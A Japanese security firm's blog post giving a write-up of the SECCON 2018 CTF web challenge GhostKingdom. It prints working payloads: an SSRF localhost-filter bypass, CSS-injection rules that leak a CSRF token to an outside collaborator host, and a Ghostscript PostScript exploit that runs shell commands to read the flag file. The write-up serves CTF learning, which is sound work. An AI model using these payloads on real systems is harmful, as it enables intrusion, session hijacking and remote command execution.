SSTエンジニアブログ

SSTのエンジニアによるWebセキュリティの技術を中心としたエンジニアブログです。

SECCON 2018 Online GhostKingdom Writeup

七つの鍵を持て開け地獄の門!(ハッピー)ハーロ・イーン!
こんにちは、SSSS.GRIDMANの六花ちゃんが可愛くてあまり仕事する気になれない脆弱性診断士の岩間です。

先日10/27(土)15:00から10/28(日)15:00にかけてSECCON CTF 2018 Onlineが開催されておりました!
私も個人で参加していたので、今回はそれについてお話したいと思います。

結果

私が参加していたチーム「YOKARO-MON」は23位でした。
私単独でFLAGを取得できた問題は残念ながらありませんでした・・・。
ただ、以下の2つの問題はFLAG取得に貢献できたかなって思っています。

  • GhostKingdom
  • mnemonic

今回は、その中で唯一(?)のWeb問 「GhostKingdom」のwriteupをなるべく優しく説明したいと思います。

SECCON 2018

競技終了後もしばらく稼働させているようなので、興味がある方は是非チャンレンジしてみてください。
以下 GhostKingdomのwriteupです!
...
...
...
...
...

サイト調査

まずはサイトの構成や機能について調べてみます。

サイト構成

ログイン前

  • FLAG is somewhere in this folder. GO TO TOPと書かれただけのページ

  • ログイン画面

  • ユーザ登録画面


ログイン後

  • 管理者にメッセージを送る機能

    • 入力画面 : ノーマルとエマージェンシーの2種類用意されてる

    • 確認画面 : 入力した値が表示される

    • 送信画面

  • スクリーンショットを取る機能

  • 画像アップロード機能 : * Only for users logged in from the local networkと書かれており、アンカーリンクが付いていない。

サイト特性

全体

  • action=xxxで画面が分かれている。

  • ログイン保持はCookieのCGISESSID

メッセージ送信機能

  • msgパラメータに入力した文字列が格納されている

  • 確認画面でcsrfトークンが付いている。

  • よく分からないcssパラメータ。Emergencyタイプで送る時だけ以下の値がセットされる。

css=c3BhbntiYWNrZ3JvdW5kLWNvbG9yOnJlZDtjb2xvcjp5ZWxsb3d9

スクリーンショット機能

  • urlパラメータにスクリーンショットを取る先のURLを指定している

  • スクリーンショット機能は25秒間隔でしか使用できない。

こんな感じでしょうか。

脆弱性調査

なんとなく機能が分かったところで、次に悪用できそうな脆弱性を探します。

深堀 1

管理者にメッセージを送る機能は、見るからにXSSがありそうですが入力した文字列は全てエスケープ処理されており、XSSにつなげることができませんでした。

cssパラメータの怪しい文字列は、base64形式っぽかったのでデコードしてみます。

span{background-color:red;color:yellow}

Emergencyの時だけ赤背景と黄色文字になっているのは、cssパラメータの値が作用していたようです。
ちなみにXSSをbase64でエンコードして送ってみましたが、エスケープされていました。

この事から、任意のCSSは挿入できるがXSSはできない事が確認できます。
調べてみると、CSS injectionが利用できそうです。参考になった資料を掲載します。

speakerdeck.com

深堀 2

何度かリクエストを見ていて気が付いた事として、CSRFトークンが固定であることが分かりました。
他のメンバーに聞いてみると、それぞれ違うトークンだったので、調べてみるとCGISESSIDと同じ値であることも分かりました。
余談ですが、このサイトはログイン前とログイン後で同じセッションIDを使用しているので、セッションの固定化が存在しますね。

この事から、CSRFトークンが分かれば、そのユーザのセッションIDを推測する事ができそうです。

深堀 3

スクリーンショット機能は、別のドメインのスクリーンショットもとれるようです。
なのでローカルホストのスクリーンショットを試みましたが、以下のエラーが表示されフィルターされていることが確認できます。

You can not use URLs that contain the following keywords: 127, ::1, local

ご丁寧にフィルター内容を記載しています。このフィルターをバイパスできれば、ローカルホスト宛てのSSRFが成立しそうです。
127, ::1, localを使用しなければいいので、http://0177.0.0.1/を試したところ以下のスクショが取れました。
他にもいろいろな方法でバイパスできます。例えばhttps://𝐋𝐨𝐂𝐀𝐋hostもありです。

http://ghostkingdom.pwn.seccon.jp/?url=http%3A%2F%2F0177.0.0.1%2F&action=sshot2

f:id:wild0ni0n:20181031100531p:plain

取れましたね。ついでにログインリクエストも投げてみましょう。

http://ghostkingdom.pwn.seccon.jp/?url=http%3A%2F%2F0177.0.0.1%2Fuser%3dhogehoge%26pass%3dfugafuga&action=login

f:id:wild0ni0n:20181031101249p:plain

お、画像アップロードにアンカーリンクが付きました。
どうやら自分が作成したアカウントでリクエストするとローカルからログインしたことになっているようです。

シナリオを組み立てる

悪用できそうな脆弱性はそろいました。次にflag取得までのシナリオを考えてみます。

  1. XSSはできなさそうだが、CSS injectionを仕込んだリクエストをスクリーンショット機能のurlに仕込めば、ローカルユーザのCSRFトークンをリークできそう。

  2. CSRFトークンをリークできればローカルでログインしたユーザのセッションハイジャックができそう。

  3. ローカル側なら、画像アップロード機能が使えそう。

  4. そのあとの画面はわからないが、問題のタイトルである「GhostKingdom」から今年発表されたGhostscriptの脆弱性を利用した問題っぽいと推測してみる。

  5. Ghostscriptの脆弱性を利用できるなら任意のコマンドを実行できるので、最初に書かれていたFLAG is somewhere in this folder.から、/FLAG/配下を覗けばflagがありそう。

4, 5 の過程は、この時点では推測ですが、実際にはサイトの挙動からGhostscriptの脆弱性を利用できそうな事が分かります。なのでエスパー問じゃないよ!

試してみる。

まずは自分のトークンがリークできるか試してみます。request.binなどを使用してSSRFによるリクエストに応答できるサーバを用意します。私はburp collaborator clientを使用しました。

CSSinjectionの資料を参考にCSRFトークンの1文字目をリークするCSSを書きます。

    input[value ^= "0"] {background: url(http://hogehoge.burpcollaborator.net?0);}
    input[value ^= "1"] {background: url(http://hogehoge.burpcollaborator.net?1);}
    input[value ^= "2"] {background: url(http://hogehoge.burpcollaborator.net?2);}
    input[value ^= "3"] {background: url(http://hogehoge.burpcollaborator.net?3);}
    input[value ^= "4"] {background: url(http://hogehoge.burpcollaborator.net?4);}
    input[value ^= "5"] {background: url(http://hogehoge.burpcollaborator.net?5);}
    input[value ^= "6"] {background: url(http://hogehoge.burpcollaborator.net?6);}
    input[value ^= "7"] {background: url(http://hogehoge.burpcollaborator.net?7);}
    input[value ^= "8"] {background: url(http://hogehoge.burpcollaborator.net?8);}
    input[value ^= "9"] {background: url(http://hogehoge.burpcollaborator.net?9);}
    input[value ^= "a"] {background: url(http://hogehoge.burpcollaborator.net?a);}
    input[value ^= "b"] {background: url(http://hogehoge.burpcollaborator.net?b);}
    input[value ^= "c"] {background: url(http://hogehoge.burpcollaborator.net?c);}
    input[value ^= "d"] {background: url(http://hogehoge.burpcollaborator.net?d);}
    input[value ^= "e"] {background: url(http://hogehoge.burpcollaborator.net?e);}
    input[value ^= "f"] {background: url(http://hogehoge.burpcollaborator.net?f);}

cssパラメータに上記のCSSをbase64でセットして送信してみます。すると1で設置したサーバにリクエストが送られると思います。urlのクエリストリングから、どの値がリクエストされたのか確認できます。

GET /?9 HTTP/1.1
Host: md3arkv986g4750yzn8n6rpe258vwk.burpcollaborator.net
Connection: keep-alive
User-Agent: SECCON-CTF-ONLINE-2018--FROM-118.243.81.247
Accept: image/webp,image/apng,image/*,*/*;q=0.8

リークできていることが確認できたら、スクリーンショット機能で試します。が、一旦ログインし直させておきましょう。

ログイン

http://ghostkingdom.pwn.seccon.jp/?url=http%3A%2F%2F0177.0.0.1%2F%3Fuser%3Dhogehoge%26pass%3Dfugafuga%26action%3Dlogin&action=sshot2

メッセージ送信(css 部分は長いので割愛。)

http://ghostkingdom.pwn.seccon.jp/?url=http%3A%2F%2F0177.0.0.1%2F%3F%26msg%3Da%26action%3Dmsgadm2%26css%3Dhogehoge&action=sshot2

CSRFがリークできていたら1で設置したサーバにリクエストが送られてきます。これをあと21回繰り返します・・・。大変ですが、頑張りましょう。私はスクリプトは組まずburpでやりました。
全て判明したら、自分のセッションIDを書き換えてサイトにアクセスしなおします。

画像アップロード画面にアクセスできるようになりました。名前の通り、画像アップロードする機能ですが、jpgをアップロードするとgifに変換するようです。

推測通りGhostscriptの脆弱性がありそうです。https://blog.his.cat/a/ghostscript_exploit.cat このサイトのPoCを利用しました。

%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%id) currentdevice putdeviceprops

PoCが動いたら、もう少しです!サーバの内部を探索してflagを見つけてください。一番最初のページに表示される FLAG is somewhere in this folder. も参考にして、最終的に以下のコードでflagを取得することができました。

%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%cat /var/www/html/FLAG/FLAGflagF1A8.txt) currentdevice putdeviceprops

f:id:wild0ni0n:20181031101355p:plain

終わりに

実際の競技中は、4人掛かりで問題を解いていましたが、CSSinjectionの過程で なぜか input[value ^= "0"] を一回のリクエストにつき1つしか書けないという思い込みで、数時間費やしてしまいました・・・。
普段の診断では、CSS injectionを見つける機会がなかったため慣れてなかったのが原因です・・・。

問題自体は、あまり知らない脆弱性に取り掛かれた事と複数の脆弱性を取り入れた問題だったので、とても面白かったです。
新しい発見があるのはCTFをやってて良かったなと強く感じます。

今回、弊社の会議室を利用して24時間競技に参加しましたが、椅子が固い事を除いてメンバーにも満足してもらえました!
ぶっ続けで参戦するので、物理的な競技環境もとても重要な要素……ですよね!
こうした社外的な活動がOKなのもSSTの良さであります!

今回の内容は、会社の活動とは関係ありませんが、興味深いCTFの問題があれば今後も公開していきたいと思います。